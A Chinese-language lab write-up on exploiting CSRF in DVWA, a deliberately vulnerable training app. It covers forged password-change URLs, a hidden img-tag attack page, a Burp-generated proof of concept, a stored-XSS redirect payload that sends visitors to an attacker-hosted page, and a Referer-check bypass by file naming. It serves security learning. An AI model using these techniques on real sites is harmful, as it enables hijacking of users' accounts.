DVWA-CSRF學習筆記
一、CSRF(跨站請求偽造)
CSRF(跨站請求偽造),是指利用受害者尚未失效的身份認證信息(cookie、session會話等),誘騙其點擊惡意鏈接或者訪問包含攻擊代碼的頁面,在受害人不知情的情況下以受害人的身份向服務器發送請求,從而完成非法操作(如轉賬、改密等)。
二、CSRF攻擊原理圖
三、CSRF與CSS的區別
CSRF屬於業務邏輯漏洞,服務器信任經過身份認證的用戶
XSS屬於技術漏洞,客戶信任服務器
四、CSRF漏洞分析
1、漏洞利用前提:用戶必須登錄、黑客懂得一些發包的請求,服務器端是不會有二次認證的,被害者是不知情的
將DVWA的級別設置為low
1.1查看源代碼,首先獲取輸入的兩個密碼然后判斷兩個值是否相等,如果相等則對$pass_new變量進行調用mysql_real_escape_string函數來進行字符串的過濾(防御SQL注入),再調用md5()函數對輸入的密碼進行MD5加密,最后再將新密碼更新到數據庫中。分析源碼可以看到只對SQL注入進行了過濾,沒有防御CSRF
1.2本地嘗試簡單的CSRF攻擊
1.2.1首先登錄DVWA,產生cookie信息,然后點擊CSRF欄,在burp開啟攔截數據包,然后再DVWA CSRF欄中輸入密碼以及確認密碼
1.2.2此時burp 已經攔截到數據包
1.2.3我們可以修改數據包,構造一個帶有修改密碼的url發送給目標用戶(目標用戶需要已經登錄DVWA,產生cookie信息),當目標用戶點擊url時,密碼就被修改了。
現在本地測試,burp抓到數據包之后,把數據包丟棄掉(Drop),然后在瀏覽器打開另一個窗口,輸入構造的url,可以看到成功修改密碼
1.2.4測試用DVWA的默認密碼登錄,發現登錄不進去,然后用修改過的密碼登錄,發現登錄成功,說明存在CSRF漏洞
1.3嘗試構成一個帶有修改密碼的url,發送給遠端的用戶(在xp 系統中打開瀏覽器,然后訪問登錄DVWA)
1.3.1把構造的帶有修改密碼的url發送給目標用戶,目標用戶訪問之后,密碼就會被修改
1.4構造攻擊頁面
1.4.1通過img標簽中的src屬性來加載CSRF攻擊利用的URL,並進行布局隱藏,實現了受害者點擊鏈接則會將密碼修改。
將test.html文件放在攻擊者自己准備的網站上
1.4.2當受害者正在使用自己的網站(瀏覽器中還保存着session值)時,訪問攻擊者誘惑點擊test.html 誤認為是自己點擊的是一個失效的url,但實際上已經遭受了CSRF攻擊,密碼已經被修改為123
1.5抓包利用burp創建poc
1.5.1點擊copy HTML 然后在web站點中創建一個文件,把poc的內容復制進去
1.5.2在另一個瀏覽器登錄DVWA,產生session會話,然后訪問http://192.168.10.144/2.html #站點,可以看到如下內容,點擊“Submit,request”,運行了2.html文件中的內容,成功修改密碼
1.6結合存儲型xss來進行重定向
1.6.1在存儲型xss漏洞欄輸入<script>window.location=’http://192.168.10.144/test.html’</script>
1.6.2當用戶訪問了帶有存儲型xss漏洞的頁面,就會運行test.html文件,test.html文件內容是修改密碼並進行簡單的偽裝,此時成功修改密碼
將DVWA的級別設置為Medium
1.分析源碼,可以看到Medium級別在Low級別的基礎上了加了HTTP_REFERER驗證,判斷127.0.0.1是否在 referer中,只能本地登錄,此時可以把之前的test.html文件重命名為127.0.0.1.html來達到繞過的目的
2.把test文件重名為127.0.0.1.html
3.此時在登陸過DVWA並保持有session會話的的瀏覽器中,打開另一個窗口,輸入http://192.168.10.144/127.0.0.1.html 訪問位於遠端服務器的html文件,然后密碼就會被修改
4.通過burp分析
將DVWA的級別設置為High
分析源碼,可以看到對密碼修改有二次驗證,徹底杜絕了利用CSRF漏洞修改密碼